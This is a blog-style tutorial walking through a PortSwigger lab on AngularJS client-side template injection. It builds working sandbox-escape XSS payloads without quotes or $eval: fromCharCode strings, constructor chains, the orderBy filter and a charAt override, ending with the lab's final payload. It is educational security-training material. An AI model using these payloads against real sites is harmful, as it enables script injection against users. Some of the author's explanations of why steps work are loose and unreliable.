In my priviuous article i have explained about CSTI with AngularJs , Now let's deep dive into CSTI, This article is related to one of the Expert lab of XSS from port swigger
Client-side template injection happens when a website treats user input like code and runs it in the browser, allowing attackers to execute harmful scripts.
Think of it like this:
- Website says: "I will execute anything inside
{{ }}" - User is supposed to give data
- Attacker gives code instead
💥 Website executes it without checking
So We've learned how a basic sandbox escape works, but you may encounter sites that are more restrictive with which characters they allow. For example, Sometimes websites try to block attackers by:
- Not allowing
'or"(quotes) - Blocking functions like
$eval()
👉 But attackers can still bypass these restrictions using clever tricks.
Normally you'd write:
{{ 'alert(1)' }}But:
👉 ❌ Quotes (' or ") are NOT allowed
In this situation, you need to use functions such as String.fromCharCode() to generate your characters. Although AngularJS prevents access to the String constructor within an expression, you can get round this by using the constructor property of a string instead, as below :
JavaScript has a function:
String.fromCharCode(97,108,101,114,116,40,49,41)👉 This converts numbers → characters
Result:
alert(1)But as i mentioned ,
❌ Problem: Angular blocks String
AngularJS sandbox blocks direct use of:
String.fromCharCode(...)To Bypass this : Use .constructor
Every string has a hidden property called constructor.
Example:
"abc".constructor👉 This gives access to String
So attacker uses:
"abc".constructor.fromCharCode(...)💥 Now they can create strings again
In a standard sandbox escape, you would use $eval() to execute your JavaScript payload, but in some sites, the $eval() function is undefined. Fortunately, we can use the orderBy filter instead. The typical syntax of an orderBy filter is as follows:
[123]|orderBy:'Some string'
Note that the | operator has a different meaning than in JavaScript. Normally, this is a bitwise OR operation, but in AngularJS it indicates a filter operation. In the code above, we are sending the array [123] on the left to the orderBy filter on the right. The colon signifies an argument to send to the filter, which in this case is a string. The orderBy filter is normally used to sort an object, but it also accepts an expression, which means we can use it to pass a payload.
Example :
❌ Problem: No $eval()
Normally attacker executes code using:
$eval('alert(1)')But:
👉 ❌ $eval is disabled
Use orderBy filter
Angular allows:
[123] | orderBy:'something'👉 Normally used for sorting 👉 BUT it also evaluates expressions
So finally the payload will be :
[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) )
## to get executed we write the payloade in {{ }} as
{{[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) )}} How | orderBy actually works
In AngularJS:
[1] | orderBy: something👉 Means:
"Take
[1]and pass it into theorderByfilter, along withsomethingas an argument."
So internally, Angular treats it like:
orderBy([1], something)[1] is just data being passed into the filter
Normally:
orderBywould sort this array- Example:
[3,1,2] | orderBy
so output : [1,2,3]👉 In many attacks, [1] is just a dummy value
👉 But in some cases, it can actually be used for more advanced tricks
🔹 1. Iteration (looping over array)
orderBy processes each item in the array.
If attacker uses:
[1,2,3] | orderBy: payload👉 Angular may evaluate the payload multiple times
💥 This can:
- Trigger code repeatedly
- Help bypass filters
- Create stronger attacks
🔹 2. Chaining attacks
Sometimes [1] is used as a starting object
Example idea:
[1].constructor👉 Gives access to:
Array constructorWhich can lead to: 👉 Accessing other constructors → more bypasses
🔹 3. Bypassing restrictions
If some characters/functions are blocked:
👉 Attackers may use the array to:
- Build expressions indirectly
- Access properties like:
.constructor.length- etc.
Payload Without String
Sometimes in our payload "[1] | orderBy: ( "abc".constructor.fromCharCode(97,108,101,114,116,40,49,41) )" few sites don't allow strings , it means "abc" in our payload will be blocked , now we use []+[] instead , only [] represents array but []+[] represent empty string — ""
([]+[]).constructor
it is generally an accessible string completely[]+[]→ becomes""(empty string)- Then
.constructor→ givesString
💥 Now you accessed String without quotes , and payload becomes :
[1] | orderBy: ( ([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41) )This payload will convert the ASCII values to strings as directly alert(1) is blocked and this is used for only evaluation of the string this ASCII values to alert(1) it will only be executed if the browser or injected context will execute, but we can also use a Function to evaluate and execute the payload this is a bit deep topic but let's have a look
If we add .constructor to ([]+[]).constructor (string) it becomes a function
Get Function without strings
([]+[]).constructor.constructor👉 This equals:
FunctionUse Function to execute code
Normally:
Function("alert(1)")()But:
❌ You can't use "alert(1)"
Build alert(1) without quotes
([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41)👉 Produces:
alert(1)Combine everything
([]+[]).constructor.constructor(
([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41)
)()👉 This means:
- Build
"alert(1)" - Pass into
Function - Execute it
💥 Now you have execution
So generally ,You can build everything from:
[](array){}(object)+(type coercion)
Example building blocks:
[]+[] // ""
![]+[] // "false"
!![]+[] // "true"👉 Attackers combine these to form strings like:
"alert""constructor"
Use different Angular tricks
Sometimes instead of strings, attackers:
- Use functions directly
- Use existing variables
- Use
$event,$root, etc. (if available)
Lab: Reflected XSS with AngularJS sandbox escape without strings
In this lab:
- ❌ No
$eval() - ❌ No strings (
'or") - ❌ Angular sandbox is present (but escapable)
As we search for anything new it reflects on the web page , so there is a Reflected XSS , now look at the source code of the webpage :
<section class=blog-header>
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '1&{{[1]|orderBy:([]+[]).constructor.constructor(([]+[]).constructor.fromCharCode(97,108,101,114,116,40,49,41))()}}';
$scope.value = $parse(key)($scope.query);
});</script>
<h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1>What the code does normally
$scope.query = {}
- Creates an object to store user input
var key = 'search'
- We want to store a value in
$scope.query.search - This is created by the developer (the website), not by you.
keyis just a variable- Its value is the string
"search"
$scope.query[key] = '...payload...'
$scope.query[key]👉 is the same as:
$scope.query.searchSo:
$scope.query[key] = 'your input'means:
$scope.query.search = 'your input'- User input (or your payload) goes here as a string
What is $parse?
$parseis like Angular's "mini JavaScript interpreter"- It takes a string like
"search"or"1 + 2"and evaluates it as an Angular expression - Example:
$parse("x + y")({x: 2, y: 3}) // returns 5- So instead of putting your payload in the HTML template, you are putting it inside $parse, which is already code-executing context.
✅ Key: you do NOT need {{ }} inside $parse because $parse already evaluates the string as code.
$scope.value = $parse(key)($scope.query)
- So
$parse('search')($scope.query)→ looks up$scope.query.searchand returns it <h1> ... {{value}} </h1>
- Angular prints the evaluated value of
$scope.value
What happens when you type in search bar?
Let's say you type:
1&something✅ Step 1: Input stored
$scope.query = {}
$scope.query['search'] = '1&something'👉 Now:
$scope.query = {
search: '1&something'
}✅ Step 2: $parse(key)
$parse('search')👉 This creates a function like:
function(obj) {
return obj.search;
}✅ Step 3: Execute it
$scope.value = $parse('search')($scope.query)👉 becomes:
$scope.value = $scope.query.search👉 So:
$scope.value = '1&something'✅ Step 4: Output in HTML
{{value}}👉 Shows:
1&something💥 Where does injection happen?
👉 If Angular treats your input as an expression, it can execute it 👉R Tat's where attacks happen
In this Lab as the parser is used so it is parsing related attack that means the parser will block if we dont break the parser logic , To break parser logic we use following payload :
toString().constructor.prototype.charAt = [].join; [1]|orderBy .......toString().constructor.prototype.charAt→ normal JavaScript method to get a character from a string[].join→ joins array elements into a string- Assigning it:
toString().constructor.prototype.charAt = [].join;✅ This breaks Angular parser logic for filters like orderBy in the lab
- The parser internally tries to use
.charAtwhile processing your payload - Replacing
.charAtwith.joinconfuses the parser - This allows the injected expression (
x=alert(1)orconstructor tricks) to execute [1]→ just a dummy array required fororderBysyntax
what is .prototypein above payload?
👉 Every JavaScript object has a prototype
Think of it like:
A "shared template" where functions are stored
Example:
"abc".charAt(0)👉 charAt comes from:
String.prototype.charAtLet's say if we give "[1] | orderBy: x = alert(1)" this as payload now it will not exploit the injection because :
👉 Angular does NOT treat x = alert(1) as just a variable
It is a valid expression in Angular.
👉 Breaking charAt does NOT mean Angular stops parsing everything
It only:
- weakens some internal checks
- does NOT completely disable the parser
Even after breaking charAt:
- Angular can still:
- Recognize identifiers like
alert - Understand function calls
- Apply some restrictions
👉 So:
alert(1)is still visible and suspicious so parser knows that it is a function call and blocks
So, our payload [1] | orderBy: x = alert(1) will fail cauz:
👉 Angular sees clearly:
- identifier:
alert - function call:
(1)
👉 Even with broken charAt, it still says:
"Hmm… this is a direct function call ⚠️"
👉 ❌ May block / not execute
So, the final payload will be
toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1In Working payload the =1 portion is important:
...fromCharCode(...)=1👉 Angular evaluates this as an assignment expression 👉 Forces Angular to evaluate assignment properly 👉 Ensures expression is fully processed
What happens:
alert(1)runs 💥- Its result gets assigned
- Expression becomes valid (doesn't crash)
Why use
toString().constructorinstead of([]+[]).constructor?
🧩 First: What do both do?
✅ 1. ([]+[]).constructor
[] + [] → ""👉 empty string
Then:
("").constructor → String✅ 2. toString().constructor
toString() → "[object Undefined]" (or similar string)Then:
"some string".constructor → StringWe prefer toString().constructor
👉 Because of restrictions + reliability
🔴 Problem with ([]+[])
In Angular sandbox:
[] + []👉 involves:
- array
+operator (type coercion)
⚠️ Angular may:
- block it
- parse it weirdly
- treat it as unsafe
🟢 Why toString() is better
toString()👉 is:
- simple function call
- already available
- less suspicious
👉 Angular handles it more reliably….
Sorry it's a bit long article but i've tried my best to cover everything
13v! Bug Bounty Learner | H@ppie H@ck!nG